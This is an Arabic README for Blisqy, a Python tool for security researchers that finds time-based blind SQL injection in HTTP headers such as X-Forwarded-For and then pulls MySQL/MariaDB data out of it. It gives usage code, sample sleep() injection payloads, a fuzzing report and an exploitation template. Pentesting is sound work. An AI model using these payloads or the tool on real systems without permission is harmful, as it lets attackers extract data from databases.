
الإصدار 0.2 - استغلال حقن SQL الأعمى القائم على الوقت في رؤوس HTTP (MySQL/MariaDB).
Blisqy هي أداة لمساعدة باحثي أمن الويب في العثور على حقن SQL أعمى زمني (Time-based Blind SQL Injection) في رؤوس HTTP وكذلك استغلال نفس الثغرة.
يتيح الاستغلال سحب البيانات ببطء من قاعدة بيانات (تدعم حالياً MySQL/MariaDB فقط) باستخدام العمليات البتية (bitwise operations) على أحرف ASCII القابلة للطباعة، عبر حقن SQL أعمى.
من أجل التوافق مع أدوات Python الأخرى وتمكين المستخدمين الآخرين من استخدام الميزات التي توفرها Blisqy، يمكن استيراد الوحدات الموجودة هنا في نصوص Python الأخرى.
عند اختبار حقن SQL الأعمى الزمني، يمكن أن يؤثر أي تأخير في الشبكة أو ازدحام على فعالية التجربة (fuzzing) أو الاستغلال. لتعويض التأخيرات المحتملة في الشبكة والشكوك التي قد تسبب تأخيرات، تكون مقارنة الوقت في Blisqy ديناميكية وتحسب في وقت التشغيل لكل اختبار. تستخدم الاختبارات greenlet (وحدة تنفيذ خفيفة الوزن مجدولة بشكل تعاوني) لتوفير واجهة برمجة تطبيقات متزامنة عالية المستوى فوق حلقة libevevent. يوفر ذلك طريقة سريعة وفعالة لتنفيذ اختبارات الحمولة (payload tests) في وقت قصير، كما أن اختباراً معيناً لا يؤثر على آخر لأنها لا تتم بطريقة تسلسلية بالكامل.
تدعم Blisqy الآن التجريب (fuzzing) لحقن SQL الأعمى الزمني على رؤوس HTTP، وتم فصل الوظائف الرئيسية (التجريب والاستغلال) إلى ملفات مستقلة لسهولة النقل.
لاستخدام وظيفة التجريب، قم باستيراد الوحدة التالية في نص Python الخاص بك وقدم هدفاً مع بيانات التجريب كما هو موضح أدناه:
from lib.blindfuzzer import blindSeeker
يجب أن تكون معاملات الهدف بتنسيق Dictionary/JSON، على سبيل المثال (لاحظ أنواع البيانات المتغيرة):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
استدعاء أداة التجريب بمجرد تقديم معاملات الهدف يكون كما هو موضح أدناه:
vulns = blindSeeker(target_params)
vulns.fuzz()
يمكنك مراجعة FindBlindSpot.py لهذا المثال المقدم.
إذا كنت ناجحاً، يجب أن تحصل على تقرير عن الاختبارات 'القابلة للحقن' التي تم إجراؤها. يرجى ملاحظة أنه بقدر ما تحاول Blisqy تعويض تأخيرات الشبكة والازدحام أثناء الاختبار، من المهم اختبار صحة النتائج الإيجابية المبلغ عنها قبل المتابعة.
فيما يلي نموذج تقرير:
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
لقطة شاشة لأداة التجريب Blisqy أثناء العمل:

بعد العثور على حقن SQL أعمى زمني محتمل، يمكنك إعداد نص لاستغلال تطبيق الويب الضعيف.
تماماً مثل أداة التجريب، يمكنك استيراد وحدة الاستغلال في نص Python الخاص بك وتحديد قالب لعملية الاستغلال. فيما يلي مثال لكيفية استيراد الوحدة في نص Python:
from lib.blindexploit import SqlEngine
بعد ذلك، ستحتاج إلى تقديم تفاصيل هدفك مع معاملات الهدف الخاصة به للاستغلال. فيما يلي نموذج تنفيذ لاستغلال حقن SQL الأعمى الذي وجدته أداة التجريب:
يجب أن تكون بيانات الهدف بتنسيق Dictionary/JSON تحدد الخادم، المنفذ، الرأس الضعيف الذي تم العثور عليه وقيمته (بعض التطبيقات قد تحتاج أو تتحقق من قيمة معينة). أيضاً لاحظ أنواع البيانات المتغيرة.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
يجب أن تتبع معاملات الهدف ذلك لتسمح للمستخدم بتحديد بعض الخيارات المتعلقة بتفضيلات الاستغلال.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. الخيار الافتراضي هو 'pass'.بعد تقديم هدفك ومعاملاته، الشيء التالي هو تقديم قالب لروتين الاستغلال. توفر Blisqy طريقة للمستخدمين لتحديد مكان حقن حمولة استخراج SQL وتأخير sleeptime. فيما يلي مثال على تنفيذ لإحدى الثغرات التي تم العثور عليها في نموذج التقرير المقدم في القسم الفرعي السابق.
تم العثور على حقن في رأس X-Forwarded-For:
' or sleep(1)='
قالب هذا الحقن المعين:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
أثناء وقت التشغيل، سيتم استبدال *sql* بحمولة حقن SQL و *time* بتأخير للدالة sleep().
بمجرد الانتهاء من كل ذلك، الجزء الأخير هو إنشاء نسخة من روتين الاستغلال وترك الطريقة MysqlDigger() تقوم بالعمل.
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
يمكنك مراجعة ExploitBlindSpot.py لهذا المثال المقدم.
فيما يلي مثال على عملية استغلال:

يمكنك إبلاغي بأي شيء مثير تجده باستخدام Blisqy أو ما تعتقد أنه يجب إضافته/إزالته.
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. متاح من: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course